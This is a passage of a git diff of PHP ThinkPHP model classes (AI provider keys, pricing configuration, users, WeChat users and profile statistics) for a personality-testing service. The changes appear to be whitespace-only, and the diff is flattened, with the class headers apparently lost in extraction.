// 返回脱敏后的密钥(显示前6位和后4位) - if (strlen($value) > 10) { - return substr($value, 0, 6) . '****' . substr($value, -4); - } - return '****'; - } - - /** - * 获取原始API Key(用于API调用) - * @return string - */ - public function getRawApiKey() - { - // 直接从数据库读取原始值,绕过获取器 - return \think\facade\Db::name('ai_providers') - ->where('id', $this->id) - ->value('apiKey') ?: ''; - } -} - + 'int', + 'providerId' => 'string', + 'name' => 'string', + 'enabled' => 'int', + 'visible' => 'int', + 'apiKey' => 'string', + 'apiEndpoint' => 'string', + 'model' => 'string', + 'organizationId' => 'string', + 'maxTokens' => 'int', + 'balanceAlertEnabled' => 'int', + 'balanceAlertThreshold' => 'float', + 'notes' => 'string', + 'docUrl' => 'string', + 'isFree' => 'int', + 'supportsBalance' => 'int', + 'lastBalance' => 'float', + 'lastBalanceCurrency' => 'string', + 'lastBalanceCheckedAt' => 'int', + 'createdAt' => 'int', + 'updatedAt' => 'int', + 'deletedAt' => 'int', + 'extraConfig' => 'string', + ]; + + // 自动时间戳(使用驼峰命名,时间戳格式) + protected $autoWriteTimestamp = 'int'; + + // 时间戳字段名(驼峰命名,匹配数据库) + protected $createTime = 'createdAt'; + protected $updateTime = 'updatedAt'; + + // 时间字段类型(时间戳格式) + protected $type = [ + 'lastBalanceCheckedAt' => 'integer', + 'createdAt' => 'integer', + 'updatedAt' => 'integer', + 'deletedAt' => 'integer', + 'extraConfig' => 'json', + ]; + + // 注意:API Key需要可逆读取用于API调用,所以不隐藏,但在获取器中脱敏 + + /** + * API Key 修改器(存储原始值,用于API调用) + */ + public function setApiKeyAttr($value) + { + if (empty($value)) { + return null; + } + // 如果输入的是脱敏格式(包含****),不更新 + if (strpos($value, '****') !== false) { + return null; // 返回null表示不更新此字段 + } + // 直接存储原始值(实际生产环境建议使用AES加密) + return $value; + } + + /** + * API Key 获取器(返回脱敏后的密钥) + * 注意:如果需要原始密钥用于API调用,使用 getRawApiKey() 方法 + */ + public function getApiKeyAttr($value) + { + if (empty($value)) { + return ''; + } + // 返回脱敏后的密钥(显示前6位和后4位) + if (strlen($value) > 10) { + return substr($value, 0, 6) . '****' . substr($value, -4); + } + return '****'; + } + + /** + * 获取原始API Key(用于API调用) + * @return string + */ + public function getRawApiKey() + { + // 直接从数据库读取原始值,绕过获取器 + return \think\facade\Db::name('ai_providers') + ->where('id', $this->id) + ->value('apiKey') ?: ''; + } +} + diff --git a/api/app/model/BackupRecord.php b/api/app/model/BackupRecord.php index cfcedaa..db2d861 100644 --- a/api/app/model/BackupRecord.php +++ b/api/app/model/BackupRecord.php @@ -1,48 +1,48 @@ - 'int', - 'filename' => 'string', - 'filepath' => 'string', - 'fileSize' => 'int', - 'ossUrl' => 'string', - 'ossPath' => 'string', - 'status' => 'string', - 'deletedAt' => 'int', - 'createdAt' => 'int', - 'updatedAt' => 'int', - ]; - - // 自动时间戳(使用驼峰命名,时间戳格式) - protected $autoWriteTimestamp = 'int'; - - // 时间戳字段名(驼峰命名,匹配数据库) - protected $createTime = 'createdAt'; - protected $updateTime = 'updatedAt'; - - // 时间字段类型(时间戳格式) - protected $type = [ - 'deletedAt' => 'integer', - 'createdAt' => 'integer', - 'updatedAt' => 'integer', - ]; -} - + 'int', + 'filename' => 'string', + 'filepath' => 'string', + 'fileSize' => 'int', + 'ossUrl' => 'string', + 'ossPath' => 'string', + 'status' => 'string', + 'deletedAt' => 'int', + 'createdAt' => 'int', + 'updatedAt' => 'int', + ]; + + // 自动时间戳(使用驼峰命名,时间戳格式) + protected $autoWriteTimestamp = 'int'; + + // 时间戳字段名(驼峰命名,匹配数据库) + protected $createTime = 'createdAt'; + protected $updateTime = 'updatedAt'; + + // 时间字段类型(时间戳格式) + protected $type = [ + 'deletedAt' => 'integer', + 'createdAt' => 'integer', + 'updatedAt' => 'integer', + ]; +} + diff --git a/api/app/model/Enterprise.php b/api/app/model/Enterprise.php index f668e19..f252ec5 100644 --- a/api/app/model/Enterprise.php +++ b/api/app/model/Enterprise.php @@ -1,51 +1,51 @@ - 'int', - 'name' => 'string', - 'code' => 'string', - 'contactName' => 'string', - 'contactPhone' => 'string', - 'contactEmail' => 'string', - 'balance' => 'float', - 'status' => 'string', - 'trialExpireAt' => 'int', - 'deletedAt' => 'int', - 'createdAt' => 'int', - 'updatedAt' => 'int', - ]; - - // 自动时间戳(使用驼峰命名,时间戳格式) - protected $autoWriteTimestamp = 'int'; - - // 时间戳字段名(驼峰命名,匹配数据库) - protected $createTime = 'createdAt'; - protected $updateTime = 'updatedAt'; - - // 时间字段类型(时间戳格式) - protected $type = [ - 'trialExpireAt' => 'integer', - 'deletedAt' => 'integer', - 'createdAt' => 'integer', - 'updatedAt' => 'integer', - ]; -} - + 'int', + 'name' => 'string', + 'code' => 'string', + 'contactName' => 'string', + 'contactPhone' => 'string', + 'contactEmail' => 'string', + 'balance' => 'float', + 'status' => 'string', + 'trialExpireAt' => 'int', + 'deletedAt' => 'int', + 'createdAt' => 'int', + 'updatedAt' => 'int', + ]; + + // 自动时间戳(使用驼峰命名,时间戳格式) + protected $autoWriteTimestamp = 'int'; + + // 时间戳字段名(驼峰命名,匹配数据库) + protected $createTime = 'createdAt'; + protected $updateTime = 'updatedAt'; + + // 时间字段类型(时间戳格式) + protected $type = [ + 'trialExpireAt' => 'integer', + 'deletedAt' => 'integer', + 'createdAt' => 'integer', + 'updatedAt' => 'integer', + ]; +} + diff --git a/api/app/model/EnterpriseResumeUpload.php b/api/app/model/EnterpriseResumeUpload.php index 490d3de..cc439bd 100644 --- a/api/app/model/EnterpriseResumeUpload.php +++ b/api/app/model/EnterpriseResumeUpload.php @@ -1,25 +1,25 @@ - 'int', - 'userId' => 'int', - 'enterpriseId' => 'int', - 'fileUrl' => 'string', - 'fileName' => 'string', - 'is_default' => 'int', - 'createdAt' => 'int', - ]; - - protected $autoWriteTimestamp = 'int'; - protected $createTime = 'createdAt'; -} + 'int', + 'userId' => 'int', + 'enterpriseId' => 'int', + 'fileUrl' => 'string', + 'fileName' => 'string', + 'is_default' => 'int', + 'createdAt' => 'int', + ]; + + protected $autoWriteTimestamp = 'int'; + protected $createTime = 'createdAt'; +} diff --git a/api/app/model/PricingConfig.php b/api/app/model/PricingConfig.php index 45e7c1a..53aa3ed 100644 --- a/api/app/model/PricingConfig.php +++ b/api/app/model/PricingConfig.php @@ -1,117 +1,117 @@ - 'int', - 'type' => 'string', - 'enterpriseId' => 'int', - 'config' => 'string', - 'createdAt' => 'int', - 'updatedAt' => 'int', - ]; - - // 自动时间戳(使用驼峰命名,时间戳格式) - protected $autoWriteTimestamp = 'int'; - - // 时间戳字段名(驼峰命名,匹配数据库) - protected $createTime = 'createdAt'; - protected $updateTime = 'updatedAt'; - - // 时间字段类型(时间戳格式) - protected $type = [ - 'createdAt' => 'integer', - 'updatedAt' => 'integer', - ]; - - // JSON字段自动转换 - protected $json = ['config']; - - /** - * 配置修改器(自动转换为JSON) - */ - public function setConfigAttr($value) - { - if (is_array($value)) { - return json_encode($value, JSON_UNESCAPED_UNICODE); - } - return $value; - } - - /** - * 配置获取器(自动解析JSON) - */ - public function getConfigAttr($value) - { - if (is_string($value)) { - return json_decode($value, true); - } - return $value; - } - - /** - * 按类型与可选企业ID取定价配置 - * - * personal(个人版)优先级: - * 1. admin_personal + enterpriseId(企业专属管理端配置,有 eid 时) - * 2. admin_personal + null(通用管理端配置) - * 3. 任意一条 admin_personal(兜底:只要管理端配过就不走超管) - * 4. personal + null(超管全局,仅在管理端完全未配置时使用) - * - * enterprise(企业版)优先级: - * 1. admin_enterprise + enterpriseId(有 eid 时) - * 2. admin_enterprise + null(通用管理端企业配置) - * 3. 任意一条 admin_enterprise - * 4. enterprise + null(超管全局兜底) - * - * @param string $type personal|enterprise|deep - * @param int|null $enterpriseId 有则优先读该企业专属配置 - * @return \app\model\PricingConfig|null - */ - public static function getByTypeAndEnterprise(string $type, ?int $enterpriseId = null): ?self - { - if ($type === 'personal') { - if (!empty($enterpriseId)) { - $row = self::where('type', 'admin_personal')->where('enterpriseId', $enterpriseId)->find(); - if ($row) return $row; - } - // 通用管理端个人配置(admin_personal + null) - $row = self::where('type', 'admin_personal')->whereNull('enterpriseId')->find(); - if ($row) return $row; - // 任意管理端个人配置(兜底:管理端配过就不走超管) - $row = self::where('type', 'admin_personal')->order('id', 'asc')->find(); - if ($row) return $row; - // 超管全局个人定价(最后兜底,仅管理端完全未配置时使用) - return self::where('type', 'personal')->whereNull('enterpriseId')->find(); - } - if ($type === 'enterprise') { - if (!empty($enterpriseId)) { - $row = self::where('type', 'admin_enterprise')->where('enterpriseId', $enterpriseId)->find(); - if ($row) return $row; - } - // 通用管理端企业配置(admin_enterprise + null) - $row = self::where('type', 'admin_enterprise')->whereNull('enterpriseId')->find(); - if ($row) return $row; - // 任意管理端企业配置(兜底) - $row = self::where('type', 'admin_enterprise')->order('id', 'asc')->find(); - if ($row) return $row; - return self::where('type', 'enterprise')->whereNull('enterpriseId')->find(); - } - if ($type === 'deep') { - return self::where('type', 'deep')->whereNull('enterpriseId')->find(); - } - return self::where('type', $type)->whereNull('enterpriseId')->find(); - } -} - + 'int', + 'type' => 'string', + 'enterpriseId' => 'int', + 'config' => 'string', + 'createdAt' => 'int', + 'updatedAt' => 'int', + ]; + + // 自动时间戳(使用驼峰命名,时间戳格式) + protected $autoWriteTimestamp = 'int'; + + // 时间戳字段名(驼峰命名,匹配数据库) + protected $createTime = 'createdAt'; + protected $updateTime = 'updatedAt'; + + // 时间字段类型(时间戳格式) + protected $type = [ + 'createdAt' => 'integer', + 'updatedAt' => 'integer', + ]; + + // JSON字段自动转换 + protected $json = ['config']; + + /** + * 配置修改器(自动转换为JSON) + */ + public function setConfigAttr($value) + { + if (is_array($value)) { + return json_encode($value, JSON_UNESCAPED_UNICODE); + } + return $value; + } + + /** + * 配置获取器(自动解析JSON) + */ + public function getConfigAttr($value) + { + if (is_string($value)) { + return json_decode($value, true); + } + return $value; + } + + /** + * 按类型与可选企业ID取定价配置 + * + * personal(个人版)优先级: + * 1. admin_personal + enterpriseId(企业专属管理端配置,有 eid 时) + * 2. admin_personal + null(通用管理端配置) + * 3. 任意一条 admin_personal(兜底:只要管理端配过就不走超管) + * 4. personal + null(超管全局,仅在管理端完全未配置时使用) + * + * enterprise(企业版)优先级: + * 1. admin_enterprise + enterpriseId(有 eid 时) + * 2. admin_enterprise + null(通用管理端企业配置) + * 3. 任意一条 admin_enterprise + * 4. enterprise + null(超管全局兜底) + * + * @param string $type personal|enterprise|deep + * @param int|null $enterpriseId 有则优先读该企业专属配置 + * @return \app\model\PricingConfig|null + */ + public static function getByTypeAndEnterprise(string $type, ?int $enterpriseId = null): ?self + { + if ($type === 'personal') { + if (!empty($enterpriseId)) { + $row = self::where('type', 'admin_personal')->where('enterpriseId', $enterpriseId)->find(); + if ($row) return $row; + } + // 通用管理端个人配置(admin_personal + null) + $row = self::where('type', 'admin_personal')->whereNull('enterpriseId')->find(); + if ($row) return $row; + // 任意管理端个人配置(兜底:管理端配过就不走超管) + $row = self::where('type', 'admin_personal')->order('id', 'asc')->find(); + if ($row) return $row; + // 超管全局个人定价(最后兜底,仅管理端完全未配置时使用) + return self::where('type', 'personal')->whereNull('enterpriseId')->find(); + } + if ($type === 'enterprise') { + if (!empty($enterpriseId)) { + $row = self::where('type', 'admin_enterprise')->where('enterpriseId', $enterpriseId)->find(); + if ($row) return $row; + } + // 通用管理端企业配置(admin_enterprise + null) + $row = self::where('type', 'admin_enterprise')->whereNull('enterpriseId')->find(); + if ($row) return $row; + // 任意管理端企业配置(兜底) + $row = self::where('type', 'admin_enterprise')->order('id', 'asc')->find(); + if ($row) return $row; + return self::where('type', 'enterprise')->whereNull('enterpriseId')->find(); + } + if ($type === 'deep') { + return self::where('type', 'deep')->whereNull('enterpriseId')->find(); + } + return self::where('type', $type)->whereNull('enterpriseId')->find(); + } +} + diff --git a/api/app/model/Question.php b/api/app/model/Question.php index 4087813..03afb50 100644 --- a/api/app/model/Question.php +++ b/api/app/model/Question.php @@ -1,91 +1,91 @@ - 'int', - 'type' => 'string', - 'question' => 'string', - 'options' => 'string', - 'dimension' => 'string', - 'enterpriseId' => 'int', - 'sort' => 'int', - 'status' => 'int', - 'deletedAt' => 'int', - 'createdAt' => 'int', - 'updatedAt' => 'int', - ]; - - // 自动时间戳(使用驼峰命名,时间戳格式) - protected $autoWriteTimestamp = 'int'; - - // 时间戳字段名(驼峰命名,匹配数据库) - protected $createTime = 'createdAt'; - protected $updateTime = 'updatedAt'; - - // 时间字段类型(时间戳格式) - protected $type = [ - 'deletedAt' => 'integer', - 'createdAt' => 'integer', - 'updatedAt' => 'integer', - ]; - - // JSON字段自动转换 - protected $json = ['options']; - - /** - * 选项修改器(自动转换为JSON) - */ - public function setOptionsAttr($value) - { - if (is_array($value)) { - return json_encode($value, JSON_UNESCAPED_UNICODE); - } - return $value; - } - - /** - * 选项获取器(自动解析JSON,确保返回数组格式) - */ - public function getOptionsAttr($value) - { - if (is_string($value)) { - $decoded = json_decode($value, true); - // 如果解码失败或返回null,返回空数组 - if ($decoded === null && json_last_error() !== JSON_ERROR_NONE) { - return []; - } - // 如果是对象格式(关联数组),转换为索引数组 - if (is_array($decoded) && !empty($decoded) && !isset($decoded[0])) { - return array_values($decoded); - } - return $decoded ?: []; - } - // 如果是对象(stdClass),转换为数组 - if (is_object($value)) { - $value = json_decode(json_encode($value), true); - } - // 如果已经是数组,确保是索引数组 - if (is_array($value) && !empty($value) && !isset($value[0])) { - return array_values($value); - } - return is_array($value) ? $value : []; - } -} - + 'int', + 'type' => 'string', + 'question' => 'string', + 'options' => 'string', + 'dimension' => 'string', + 'enterpriseId' => 'int', + 'sort' => 'int', + 'status' => 'int', + 'deletedAt' => 'int', + 'createdAt' => 'int', + 'updatedAt' => 'int', + ]; + + // 自动时间戳(使用驼峰命名,时间戳格式) + protected $autoWriteTimestamp = 'int'; + + // 时间戳字段名(驼峰命名,匹配数据库) + protected $createTime = 'createdAt'; + protected $updateTime = 'updatedAt'; + + // 时间字段类型(时间戳格式) + protected $type = [ + 'deletedAt' => 'integer', + 'createdAt' => 'integer', + 'updatedAt' => 'integer', + ]; + + // JSON字段自动转换 + protected $json = ['options']; + + /** + * 选项修改器(自动转换为JSON) + */ + public function setOptionsAttr($value) + { + if (is_array($value)) { + return json_encode($value, JSON_UNESCAPED_UNICODE); + } + return $value; + } + + /** + * 选项获取器(自动解析JSON,确保返回数组格式) + */ + public function getOptionsAttr($value) + { + if (is_string($value)) { + $decoded = json_decode($value, true); + // 如果解码失败或返回null,返回空数组 + if ($decoded === null && json_last_error() !== JSON_ERROR_NONE) { + return []; + } + // 如果是对象格式(关联数组),转换为索引数组 + if (is_array($decoded) && !empty($decoded) && !isset($decoded[0])) { + return array_values($decoded); + } + return $decoded ?: []; + } + // 如果是对象(stdClass),转换为数组 + if (is_object($value)) { + $value = json_decode(json_encode($value), true); + } + // 如果已经是数组,确保是索引数组 + if (is_array($value) && !empty($value) && !isset($value[0])) { + return array_values($value); + } + return is_array($value) ? $value : []; + } +} + diff --git a/api/app/model/SystemConfig.php b/api/app/model/SystemConfig.php index 116eddd..42d71c2 100644 --- a/api/app/model/SystemConfig.php +++ b/api/app/model/SystemConfig.php @@ -1,63 +1,63 @@ - 'int', - 'key' => 'string', - 'enterprise_id' => 'int', - 'value' => 'string', - 'description' => 'string', - 'createdAt' => 'int', - 'updatedAt' => 'int', - ]; - - // 自动时间戳(使用驼峰命名,时间戳格式) - protected $autoWriteTimestamp = 'int'; - - // 时间戳字段名(驼峰命名,匹配数据库) - protected $createTime = 'createdAt'; - protected $updateTime = 'updatedAt'; - - // 时间字段类型(时间戳格式) - protected $type = [ - 'createdAt' => 'integer', - 'updatedAt' => 'integer', - ]; - - // JSON字段自动转换 - protected $json = ['value']; - - /** - * 配置值修改器(自动转换为JSON) - */ - public function setValueAttr($value) - { - if (is_array($value)) { - return json_encode($value, JSON_UNESCAPED_UNICODE); - } - return $value; - } - - /** - * 配置值获取器(自动解析JSON) - */ - public function getValueAttr($value) - { - if (is_string($value)) { - return json_decode($value, true); - } - return $value; - } -} - + 'int', + 'key' => 'string', + 'enterprise_id' => 'int', + 'value' => 'string', + 'description' => 'string', + 'createdAt' => 'int', + 'updatedAt' => 'int', + ]; + + // 自动时间戳(使用驼峰命名,时间戳格式) + protected $autoWriteTimestamp = 'int'; + + // 时间戳字段名(驼峰命名,匹配数据库) + protected $createTime = 'createdAt'; + protected $updateTime = 'updatedAt'; + + // 时间字段类型(时间戳格式) + protected $type = [ + 'createdAt' => 'integer', + 'updatedAt' => 'integer', + ]; + + // JSON字段自动转换 + protected $json = ['value']; + + /** + * 配置值修改器(自动转换为JSON) + */ + public function setValueAttr($value) + { + if (is_array($value)) { + return json_encode($value, JSON_UNESCAPED_UNICODE); + } + return $value; + } + + /** + * 配置值获取器(自动解析JSON) + */ + public function getValueAttr($value) + { + if (is_string($value)) { + return json_decode($value, true); + } + return $value; + } +} + diff --git a/api/app/model/UploadFile.php b/api/app/model/UploadFile.php index b6f2c5d..42b0b1b 100644 --- a/api/app/model/UploadFile.php +++ b/api/app/model/UploadFile.php @@ -1,29 +1,29 @@ - 'int', - 'path' => 'string', - 'url' => 'string', - 'driver' => 'string', - 'hash' => 'string', - 'size' => 'int', - 'mimeType' => 'string', - 'extension' => 'string', - 'createdAt' => 'int', - 'updatedAt' => 'int', - ]; - - protected $autoWriteTimestamp = 'int'; - protected $createTime = 'createdAt'; - protected $updateTime = 'updatedAt'; -} + 'int', + 'path' => 'string', + 'url' => 'string', + 'driver' => 'string', + 'hash' => 'string', + 'size' => 'int', + 'mimeType' => 'string', + 'extension' => 'string', + 'createdAt' => 'int', + 'updatedAt' => 'int', + ]; + + protected $autoWriteTimestamp = 'int'; + protected $createTime = 'createdAt'; + protected $updateTime = 'updatedAt'; +} diff --git a/api/app/model/User.php b/api/app/model/User.php index cdac6f8..ffda94e 100644 --- a/api/app/model/User.php +++ b/api/app/model/User.php @@ -1,76 +1,76 @@ - 'int', - 'username' => 'string', - 'password' => 'string', - 'phone' => 'string', - 'email' => 'string', - 'role' => 'string', - 'enterpriseId' => 'int', - 'mbtiType' => 'string', - 'region' => 'string', - 'industry' => 'string', - 'status' => 'int', - 'lastLoginTime' => 'int', - 'lastLoginIp' => 'string', - 'deletedAt' => 'int', - 'createdAt' => 'int', - 'updatedAt' => 'int', - ]; - - // 自动时间戳(使用驼峰命名,时间戳格式) - protected $autoWriteTimestamp = 'int'; - - // 时间戳字段名(驼峰命名,匹配数据库) - protected $createTime = 'createdAt'; - protected $updateTime = 'updatedAt'; - - // 隐藏字段(不返回给前端) - protected $hidden = ['password']; - - // 时间字段类型(时间戳格式) - protected $type = [ - 'lastLoginTime' => 'integer', - 'deletedAt' => 'integer', - 'createdAt' => 'integer', - 'updatedAt' => 'integer', - ]; - - /** - * 密码修改器(自动加密) - */ - public function setPasswordAttr($value) - { - return password_hash($value, PASSWORD_DEFAULT); - } - - /** - * 验证密码 - * @param string $password 明文密码 - * @return bool - */ - public function verifyPassword($password) - { - return password_verify($password, $this->password); - } -} - + 'int', + 'username' => 'string', + 'password' => 'string', + 'phone' => 'string', + 'email' => 'string', + 'role' => 'string', + 'enterpriseId' => 'int', + 'mbtiType' => 'string', + 'region' => 'string', + 'industry' => 'string', + 'status' => 'int', + 'lastLoginTime' => 'int', + 'lastLoginIp' => 'string', + 'deletedAt' => 'int', + 'createdAt' => 'int', + 'updatedAt' => 'int', + ]; + + // 自动时间戳(使用驼峰命名,时间戳格式) + protected $autoWriteTimestamp = 'int'; + + // 时间戳字段名(驼峰命名,匹配数据库) + protected $createTime = 'createdAt'; + protected $updateTime = 'updatedAt'; + + // 隐藏字段(不返回给前端) + protected $hidden = ['password']; + + // 时间字段类型(时间戳格式) + protected $type = [ + 'lastLoginTime' => 'integer', + 'deletedAt' => 'integer', + 'createdAt' => 'integer', + 'updatedAt' => 'integer', + ]; + + /** + * 密码修改器(自动加密) + */ + public function setPasswordAttr($value) + { + return password_hash($value, PASSWORD_DEFAULT); + } + + /** + * 验证密码 + * @param string $password 明文密码 + * @return bool + */ + public function verifyPassword($password) + { + return password_verify($password, $this->password); + } +} + diff --git a/api/app/model/UserProfile.php b/api/app/model/UserProfile.php index 25051c3..36e760d 100644 --- a/api/app/model/UserProfile.php +++ b/api/app/model/UserProfile.php @@ -1,162 +1,162 @@ - 'int', - 'userId' => 'int', - 'userType' => 'string', - 'enterpriseId' => 'int', - 'testsTotal' => 'int', - 'testsMbti' => 'int', - 'testsDisc' => 'int', - 'testsPdp' => 'int', - 'testsFace' => 'int', - 'ordersTotal' => 'int', - 'paidOrders' => 'int', - 'totalPaidAmount' => 'int', - 'lastTestResultId'=> 'int', - 'lastTestType' => 'string', - 'lastTestAt' => 'int', - 'lastMbtiResultId'=> 'int', - 'lastDiscResultId'=> 'int', - 'lastPdpResultId' => 'int', - 'lastFaceResultId'=> 'int', - 'createdAt' => 'int', - 'updatedAt' => 'int', - ]; - - protected $autoWriteTimestamp = 'int'; - protected $createTime = 'createdAt'; - protected $updateTime = 'updatedAt'; - - /** - * 测试完成后更新用户画像统计与最近测试ID - */ - public static function recordTest(int $userId, string $testType, int $testResultId, ?int $enterpriseId = null, ?int $createdAt = null): void - { - if ($userId <= 0 || !$testType || $testResultId <= 0) { - return; - } - $now = $createdAt ?: time(); - $userType = $enterpriseId ? 'enterprise' : 'personal'; - - [$data, $id] = self::loadOrInitRow($userId, $userType, $enterpriseId, $now); - - $data['testsTotal']++; - switch ($testType) { - case 'mbti': - $data['testsMbti']++; - $data['lastMbtiResultId'] = $testResultId; - break; - case 'disc': - $data['testsDisc']++; - $data['lastDiscResultId'] = $testResultId; - break; - case 'pdp': - $data['testsPdp']++; - $data['lastPdpResultId'] = $testResultId; - break; - case 'face': - case 'ai': - $data['testsFace']++; - $data['lastFaceResultId'] = $testResultId; - break; - } - - $data['lastTestResultId'] = $testResultId; - $data['lastTestType'] = $testType; - $data['lastTestAt'] = $now; - $data['updatedAt'] = $now; - - self::upsertRow($data, $id); - } - - /** - * 支付成功后更新订单统计与总支付金额 - * - * @param int $userId - * @param int|null $enterpriseId - * @param int $amountFen 本次支付金额(分) - */ - public static function recordPayment(int $userId, ?int $enterpriseId, int $amountFen): void - { - if ($userId <= 0 || $amountFen <= 0) { - return; - } - $now = time(); - $userType = $enterpriseId ? 'enterprise' : 'personal'; - - [$data, $id] = self::loadOrInitRow($userId, $userType, $enterpriseId, $now); - - $data['ordersTotal'] = (int) ($data['ordersTotal'] ?? 0) + 1; - $data['paidOrders'] = (int) ($data['paidOrders'] ?? 0) + 1; - $currentTotal = (int) ($data['totalPaidAmount'] ?? 0); - $data['totalPaidAmount'] = $currentTotal + $amountFen; - $data['updatedAt'] = $now; - - self::upsertRow($data, $id); - } - - /** - * 读或初始化一行画像数据 - */ - protected static function loadOrInitRow(int $userId, string $userType, ?int $enterpriseId, int $now): array - { - $where = [ - 'userId' => $userId, - 'userType' => $userType, - 'enterpriseId' => $enterpriseId, - ]; - - $row = Db::name('user_profile')->where($where)->lock(true)->find(); - - $base = [ - 'testsTotal' => 0, - 'testsMbti' => 0, - 'testsDisc' => 0, - 'testsPdp' => 0, - 'testsFace' => 0, - 'ordersTotal' => 0, - 'paidOrders' => 0, - 'totalPaidAmount' => 0, - 'lastMbtiResultId'=> null, - 'lastDiscResultId'=> null, - 'lastPdpResultId' => null, - 'lastFaceResultId'=> null, - ]; - - if ($row) { - $data = array_merge($base, $row); - $id = (int) $row['id']; - } else { - $data = array_merge($base, $where, ['createdAt' => $now]); - $id = 0; - } - - return [$data, $id]; - } - - /** - * 写入或更新一行画像数据 - */ - protected static function upsertRow(array $data, int $id): void - { - if ($id > 0) { - Db::name('user_profile')->where('id', $id)->update($data); - } else { - Db::name('user_profile')->insert($data); - } - } -} - + 'int', + 'userId' => 'int', + 'userType' => 'string', + 'enterpriseId' => 'int', + 'testsTotal' => 'int', + 'testsMbti' => 'int', + 'testsDisc' => 'int', + 'testsPdp' => 'int', + 'testsFace' => 'int', + 'ordersTotal' => 'int', + 'paidOrders' => 'int', + 'totalPaidAmount' => 'int', + 'lastTestResultId'=> 'int', + 'lastTestType' => 'string', + 'lastTestAt' => 'int', + 'lastMbtiResultId'=> 'int', + 'lastDiscResultId'=> 'int', + 'lastPdpResultId' => 'int', + 'lastFaceResultId'=> 'int', + 'createdAt' => 'int', + 'updatedAt' => 'int', + ]; + + protected $autoWriteTimestamp = 'int'; + protected $createTime = 'createdAt'; + protected $updateTime = 'updatedAt'; + + /** + * 测试完成后更新用户画像统计与最近测试ID + */ + public static function recordTest(int $userId, string $testType, int $testResultId, ?int $enterpriseId = null, ?int $createdAt = null): void + { + if ($userId <= 0 || !$testType || $testResultId <= 0) { + return; + } + $now = $createdAt ?: time(); + $userType = $enterpriseId ? 'enterprise' : 'personal'; + + [$data, $id] = self::loadOrInitRow($userId, $userType, $enterpriseId, $now); + + $data['testsTotal']++; + switch ($testType) { + case 'mbti': + $data['testsMbti']++; + $data['lastMbtiResultId'] = $testResultId; + break; + case 'disc': + $data['testsDisc']++; + $data['lastDiscResultId'] = $testResultId; + break; + case 'pdp': + $data['testsPdp']++; + $data['lastPdpResultId'] = $testResultId; + break; + case 'face': + case 'ai': + $data['testsFace']++; + $data['lastFaceResultId'] = $testResultId; + break; + } + + $data['lastTestResultId'] = $testResultId; + $data['lastTestType'] = $testType; + $data['lastTestAt'] = $now; + $data['updatedAt'] = $now; + + self::upsertRow($data, $id); + } + + /** + * 支付成功后更新订单统计与总支付金额 + * + * @param int $userId + * @param int|null $enterpriseId + * @param int $amountFen 本次支付金额(分) + */ + public static function recordPayment(int $userId, ?int $enterpriseId, int $amountFen): void + { + if ($userId <= 0 || $amountFen <= 0) { + return; + } + $now = time(); + $userType = $enterpriseId ? 'enterprise' : 'personal'; + + [$data, $id] = self::loadOrInitRow($userId, $userType, $enterpriseId, $now); + + $data['ordersTotal'] = (int) ($data['ordersTotal'] ?? 0) + 1; + $data['paidOrders'] = (int) ($data['paidOrders'] ?? 0) + 1; + $currentTotal = (int) ($data['totalPaidAmount'] ?? 0); + $data['totalPaidAmount'] = $currentTotal + $amountFen; + $data['updatedAt'] = $now; + + self::upsertRow($data, $id); + } + + /** + * 读或初始化一行画像数据 + */ + protected static function loadOrInitRow(int $userId, string $userType, ?int $enterpriseId, int $now): array + { + $where = [ + 'userId' => $userId, + 'userType' => $userType, + 'enterpriseId' => $enterpriseId, + ]; + + $row = Db::name('user_profile')->where($where)->lock(true)->find(); + + $base = [ + 'testsTotal' => 0, + 'testsMbti' => 0, + 'testsDisc' => 0, + 'testsPdp' => 0, + 'testsFace' => 0, + 'ordersTotal' => 0, + 'paidOrders' => 0, + 'totalPaidAmount' => 0, + 'lastMbtiResultId'=> null, + 'lastDiscResultId'=> null, + 'lastPdpResultId' => null, + 'lastFaceResultId'=> null, + ]; + + if ($row) { + $data = array_merge($base, $row); + $id = (int) $row['id']; + } else { + $data = array_merge($base, $where, ['createdAt' => $now]); + $id = 0; + } + + return [$data, $id]; + } + + /** + * 写入或更新一行画像数据 + */ + protected static function upsertRow(array $data, int $id): void + { + if ($id > 0) { + Db::name('user_profile')->where('id', $id)->update($data); + } else { + Db::name('user_profile')->insert($data); + } + } +} + diff --git a/api/app/model/WechatUser.php b/api/app/model/WechatUser.php index 5121dd9..d5104ae 100644 --- a/api/app/model/WechatUser.php +++ b/api/app/model/WechatUser.php @@ -1,56 +1,56 @@ - 'int', - 'openid' => 'string', - 'unionid' => 'string', - 'sessionKey' => 'string', - 'nickname' => 'string', - 'avatar' => 'string', - 'phone' => 'string', - 'gender' => 'int', - 'country' => 'string', - 'province' => 'string', - 'city' => 'string', - 'birthday' => 'string', - 'status' => 'int', - 'lastLoginAt' => 'int', - 'lastLoginIp' => 'string', - 'enterpriseId' => 'int', - 'createdAt' => 'int', - 'updatedAt' => 'int', - ]; - - protected $autoWriteTimestamp = 'int'; - protected $createTime = 'createdAt'; - protected $updateTime = 'updatedAt'; - - protected $hidden = ['sessionKey', 'openid']; - - protected $type = [ - 'lastLoginAt' => 'integer', - 'createdAt' => 'integer', - 'updatedAt' => 'integer', - ]; - - /** - * 返回给前端的用户信息(不包含敏感字段) - */ - public function toApiArray(): array - { - $row = $this->toArray(); - unset($row['sessionKey'], $row['openid']); - $row['avatarUrl'] = $row['avatar'] ?? ''; - return $row; - } -} + 'int', + 'openid' => 'string', + 'unionid' => 'string', + 'sessionKey' => 'string', + 'nickname' => 'string', + 'avatar' => 'string', + 'phone' => 'string', + 'gender' => 'int', + 'country' => 'string', + 'province' => 'string', + 'city' => 'string', + 'birthday' => 'string', + 'status' => 'int', + 'lastLoginAt' => 'int', + 'lastLoginIp' => 'string', + 'enterpriseId' => 'int', + 'createdAt' => 'int', + 'updatedAt' => 'int', + ]; + + protected $autoWriteTimestamp = 'int'; + protected $createTime = 'createdAt'; + protected $updateTime = 'updatedAt'; + + protected $hidden = ['sessionKey', 'openid']; + + protected $type = [ + 'lastLoginAt' => 'integer', + 'createdAt' => 'integer', + 'updatedAt' => 'integer', + ]; + + /** + * 返回给前端的用户信息(不包含敏感字段) + */ + public function toApiArray(): array + { + $row = $this->toArray(); + unset($row['sessionKey'], $row['openid']); + $row['avatarUrl'] = $row['avatar'] ?? ''; + return $row; + } +} diff --git a/api/composer.json b/api/composer.json index 85bb409..b0146b0 100644 --- a/api/composer.json +++ b/api/composer.json @@ -1,35 +1,35 @@ -{ - "name": "news/backend", - "description": "新闻资讯网站后端API服务", - "type": "project", - "keywords": [ - "thinkphp", - "api", - "news" - ], - "homepage": "https://github.com/topthink/framework", - 